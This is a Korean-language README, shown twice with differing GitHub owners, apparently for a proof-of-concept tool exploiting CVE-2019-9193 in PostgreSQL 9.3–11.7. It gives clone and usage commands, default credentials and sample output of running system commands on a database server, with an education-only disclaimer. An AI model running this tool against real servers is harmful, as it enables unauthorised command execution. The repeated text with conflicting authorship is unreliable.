
특정 PostgreSQL 버전(9.3 ~ 11.7)에서 인증된 원격 코드 실행(RCE) 취약점을 악용하도록 설계된 PoC 도구
GenPostgresRCEExploit는 특정 버전의 PostgreSQL(9.3 - 11.7)에서 인증된 원격 코드 실행(RCE) 취약점을 악용하기 위해 설계된 PoC 도구입니다. 인증된 사용자가 CVE-2019-9193에 취약한 PostgreSQL 데이터베이스 서버에서 시스템 명령을 실행할 수 있게 해줍니다.
psycopg2)git clone https://github.com/AxthonyV/CVE-2019-9193
cd CVE-2019-9193
uv sync
python3 GenPostgresRCEExploit.py -i <target_ip> -p <port> -d <database_name> -U <username> -P <password> -c "<system_command>"
-i, --ip: PostgreSQL 서버의 IP 주소 (기본값: 127.0.0.1)-p, --port: PostgreSQL 서버 포트 (기본값: 5432)-d, --database: PostgreSQL 데이터베이스 이름 (기본값: template1)-U, --user: PostgreSQL 서버에 연결할 사용자 이름 (기본값: postgres)-P, --password: PostgreSQL 서버에 연결할 비밀번호 (기본값: postgres)-c, ---command: 서버에서 실행할 시스템 명령-t, --timeout: 연결 타임아웃(초) (기본값: 10)python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"
이 예제는 192.168.1.10의 PostgreSQL 서버에 연결하고, 제공된 자격 증명으로 인증한 뒤 whoami 명령을 실행합니다.
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"
[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed
postgres
이 도구는 교육 목적 및 윤리적 테스트 전용으로 제작되었습니다. 이 도구를 모든 시스템에 대해 무단으로 사용하는 것은 불법이며 엄격히 금지됩니다. 저자는 어떠한 오용에 대해서도 책임을 지지 않습니다.
GenPostgresRCEExploit는 PostgreSQL의 특정 버전(9.3 - 11.7)에서 원격 코드 실행(RCE) 취약점을 악용하기 위해 설계된 PoC 익스플로잇입니다. 이 프로그램을 통해 인증된 사용자는 CVE-2019-9193에 취약한 PostgreSQL 서버에서 시스템 명령을 실행할 수 있습니다.
psycopg2 패키지)git clone https://github.com/geniuszly/CVE-2019-9193
cd CVE-2019-9193
uv sync
python3 GenPostgresRCEExploit.py -i <IP address> -p <port> -d <database_name> -U <user> -P <password> -c "<system_command>"
-i, --ip: PostgreSQL 서버의 IP 주소 (기본값: 127.0.0.1)-p, --port: PostgreSQL 서버 포트 (기본값: 5432)-d, --database: PostgreSQL 데이터베이스 이름 (기본값: template1)-U, --user: PostgreSQL 서버에 연결할 사용자 이름 (기본값: postgres)-P, --password: PostgreSQL 서버에 연결할 비밀번호 (기본값: postgres)-c, --command: 서버에서 실행할 시스템 명령-t, --timeout: 연결 타임아웃(초) (기본값: 10)python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"
이 예제에서 프로그램은 192.168.1.10의 PostgreSQL 서버에 연결하고, 지정된 자격 증명으로 인증한 뒤 whoami 명령을 실행합니다.
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"
[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed
postgres
이 도구는 교육 목적 및 합법적 테스트 용도로만 사용해야 합니다. 이 도구를 어떤 시스템에 대해서든 무단으로 사용하는 것은 불법이며 엄격히 금지됩니다. 작성자는 어떠한 오용에 대해서도 책임지지 않습니다.